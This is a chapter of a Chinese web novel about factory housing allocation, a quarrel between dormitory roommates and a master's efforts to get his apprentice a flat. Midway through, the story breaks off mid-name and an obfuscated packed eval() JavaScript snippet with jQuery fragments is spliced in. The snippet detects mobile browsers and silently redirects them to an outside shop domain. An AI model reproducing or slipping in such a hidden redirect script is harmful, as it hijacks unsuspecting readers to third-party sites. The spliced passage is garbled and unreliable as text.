分房这种大事的消息,传播速度堪比坐火箭。
一天的时间,消息的风就刮到了造纸厂。
叶桐上了一个夜班,八点过几分,准时坐在食堂吃早饭。
她机械地嚼着嘴里的包子,人看似坐在位置上,魂已经神游天外了。
晚班真的折磨人,她困得不行,反应也比平时慢半拍,今天的食堂比以往更嘈杂,叶桐只觉得大家今天话更多。
“听说了吗,无线电厂要分房了!”
“这么大的消息谁不知道啊!我家那一个胡同的就有无线电厂的工人,听的都是一手消息!”
“那你家那邻居能不能分上房?这房咋分的?”
“唉,可惜了,他不行,他晚进场半年,今年刚两年半,不够资格呢……”
等叶桐反应过来的时候,把无线电厂的分房政策全听完了。
可以说无线电厂考虑的很全面了,基本涉及到了职工的方方面面,尽可能最大程度的公平的分房。
造纸厂什么时候能分房?
这个想法一闪而过,叶桐忽然反应过来自己还是个临时工,连正式工都不是分房想都别想了。
她快速地把包子塞进嘴里,又端起稀粥一饮而尽,赶紧回到宿舍,盖上被子,倒头就睡。
叶桐这次要连上五天的夜班,彻底过上了猫头鹰的生活。
宿舍的其他三个人都是白班,每天她们都睡了,叶桐上班,叶桐回来睡觉,她们上班。
前两天一切正常,第三天叶桐刚睡醒,杨冬云下班,她在寝室里说希望她出门的时候小声一点。
“你每天睡觉的时候我们都在上班,宿舍里很安静,没有人打扰你,所以我们晚上睡觉的时候你出门的时候能不能小声一点啊。”
廖虹看了一眼杨冬云,没说话。
叶桐点头答应,寝室生活就是这样,得互相迁就,她可能在无意中发出了很大的声音,影响到了人,人家提醒她也无可否非。
于是当天晚上,在她们三个准备睡觉的时候,叶桐就把衣服穿好,躺在炕上发呆。
刘静丹把她的手表,也是宿舍里唯一一块表交给叶桐,“你走了放在枕头上就好了。”
宿舍里静悄悄的,没有闹钟,叶桐也不敢睡觉,发呆到十一点五十,她起身把手表放好,被子铺整齐,穿上鞋,准备出门。
寂静的房间内突然响起一个声音:“叶桐,你小声一点。”
说实话,叶桐被吓了一大跳,心脏扑通扑通跳,没叫喊出来已经是理智在线了。
大半夜突然出声,谁能不害怕!
她要被气笑了,从下床到穿上鞋,总共不超过一分钟,土炕也根本不存在什么摇晃的声音,全程只有衣物的摩擦声,怎么就吵到影响到别人睡觉了。
即使有人说话,刘静丹和廖虹也还在熟睡中,没醒来。
杨冬云纯属找茬!
“你去医院看看吧,睡不着是不是你哪有问题。”叶桐声音不大,确保杨冬云能听见,说完就开门出去了。
再不走一会儿迟到了,没时间和她掰扯。
叶桐走得潇洒,留杨冬云在原地暴躁。
杨冬云面色有些扭曲,不敢置信:“她是不是在说我有病?怎么能这样?她会不会讲话?”
她一个人嘀嘀咕咕,音量并不小。
终于,廖虹不耐烦地喊她:“闭嘴!你大半夜不睡觉烦不烦人?”
她回想起白天杨冬云对叶桐说的话,“你还说叶桐打扰你休息,叶桐没把我吵醒倒是你把我吵醒了。”
说完,她翻了个身,背对着杨冬云。
杨冬云第一次听廖虹说这么多话,是指责她的!
她一个晚上被两个人怼,现在终于有些委屈了,不是装的,她死死咬住下唇,眼泪在眼眶里打转,但是不敢发出声音了。
所有人都欺负她,她受不了了!
——
程渡在去钱文才家吃了顿饭之后,他的师娘张芬真给他介绍了一个姑娘相亲。
但程渡态度平平,对方回去又打听了一下他的风评,和家里人一合计,立刻回绝了。
结婚还是要找个舍得给自己花钱的啊!就算他能分房子这么扣也不行!
钱文才摸了摸稀疏的头发:“你小子是不是故意的,你跟师傅好好说,你到底喜欢什么样的姑娘,我和你师娘就按照这个样式的找。”
“怎么会是故意的,我表现还可以吧。”
“可以什么!男孩子要主动一点,问你一句你答一句,不问你就一句话不说,让人家一看你就不上心!”
钱文才恨铁不成钢。
程渡又不吭声了,默默地摆弄手里的电视机,这是今天早上刚送过来要修的。
钱文才在想别的办法,有没有其他办法,就算程渡不结婚也能得到房子。
分房政策里只有结婚是最容易达到的,只能说怪程渡的优势不够明显,否则也不用这么费劲。
就在钱文才拿起帽子,准备嘱咐他一句就回家。
程渡开口了:“要人品好的,”他停下动作,“长相合眼缘。”
钱文才更生气了,这算什么要求!
“你是不是故意气我呢?算了算了谁管你,你爱结不结!”说完就气呼呼地走了。
程渡没什么反应,他更怀疑他师傅借着机会光明正大地逃班。
钱文才嘴上说着不管了,回到家里又开始唉声叹气。
张芳瞪他:“你不吃就出去,别在我眼前碍眼。”
钱文才拿起筷子吃了几口菜,又放下,忍不住跟妻子絮叨程渡的事。
张芳看得明白:“小程就是没看上,拿话堵你呢。”
“唉我能不知道吗!他给不开窍的,要不是分房我也不催他,他家里人也不管他,我是他师父就算半个父…算了不提了。”
张芳也放下了筷子,神情有些哀伤。
无线电厂当年给钱文才找了三个学徒,最后只留下来程渡一个正式拜了师父,剩下两个都转去其他部门了。
感情都是处出来的,程渡孝敬老两口,他们两个人呢没有子女,也把程渡当成半个儿子看。
“如果只是房子的话,我倒是有办法。”张芳开若有所思:“咱来现在住的房子是我当时分的,无线电厂是不是没给你分房?你总比小程更有资格,你也去填分房表,他能排上最好,排不上的话,你的给他住。”
钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942944|213984||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
文才的眼睛随着张芬的话越来越亮,他都忘了,自己的房子是媳妇当年分的了!
张芬现在在第二供销社工作,她们单位福利好,进单位没几年就分房,一家人搬进来就住到现在,这些年钱文才等级一级一级往上升,家里不缺房倒是一直参与无线电厂分房。
“我咋就忘了!这个办法好,那我肯定比小程有资格啊!不对,整个厂子要我都没资格还谁能有资格!”
钱文才的心豁然开朗,拿起筷子继续吃饭。
“不过呢,还是得结婚,你要是有合适的再给他介绍介绍,你也是他师娘嘛!”他补充道。
张芬白了他一眼,骂他:“去去去,别吃我做的饭。”
“用得着你说,不过小程是个有主见的,下次要不要还是提前跟他通个气吧,上次没提前跟他说也不对,他要觉得可以呢就见面,不行就算了。”媒人可不好当,张芬不想干吃力不讨好的事。
钱文才也同意。
——
杨冬云在那天晚上之后安静了,叶桐也拿她当空气。
想不明白这人为什么看她不顺眼,那就不想了,叶桐心大得很,和人相处秉承能处处不能处拉倒。
不过要论讨厌她,杨冬云可能都排不上号,毕竟明显小河村老叶家那群人明显略胜一筹。
两个月来,只有赵桂兰来过一次信,她口述,让叶向南代笔,信还是送到了叶楠家,一起和粮食邮过来的。
她奶真是一分钱都不想多花。
上次叶桐给叶楠汇钱时多寄了几块钱,并告诉她交给赵桂兰,这是还给赵桂兰的前。
叶楠思索片刻,让刘铁山主动跑一趟,把叶桐欠赵桂兰的钱全还了。
并在下一次来信时责怪叶桐怎么不说还有外债,这种情况下怎么还每个月都给她寄钱。
“给你寄粮食并不是只为了赚你的钱,你宁愿欠咱奶的钱都不愿意欠我的吗,还是说你根本没把我当姐姐,你知道我看到你说还钱给奶奶,又想到你每个月都给我寄钱,我心里什么感受吗?”
叶桐看到这些的时候也反思自己的行为。
她上辈子也是亲缘浅薄,和父母也是一年不打几次电话的关系,她没有很好的处理亲人之间关系的经验,她什么事情都喜欢自己解决。
包括她能快速适应这里的生活,也和这些脱不开关系。
叶桐只能理解她姐说的那些话,并尝试下次用一个更好的办法去处理。
总而言之,杨冬云的不待见起到了一个叶桐无视她的作用。
刘静丹的反应都比叶桐大。
“我真不知道她怎么了,你声音一点不大啊,包括你们后来说话我都不知道。”她知道后愤愤不平。
“你是特例,你睡眠质量太好了。”叶桐故意逗她。
刘静丹炸毛:“你还取笑我,我不帮你说话了!”
……
两个人的话题渐渐偏离,说到了近期的人们话题,分房。
“也不知道咱们厂子什么时候能分房。”刘静丹托着腮幻想。
叶桐哼笑两声:“别想了,分也轮不到咱俩,咱俩还是临时工。”
刘静丹大叫一声,恨不能拿块豆腐撞死。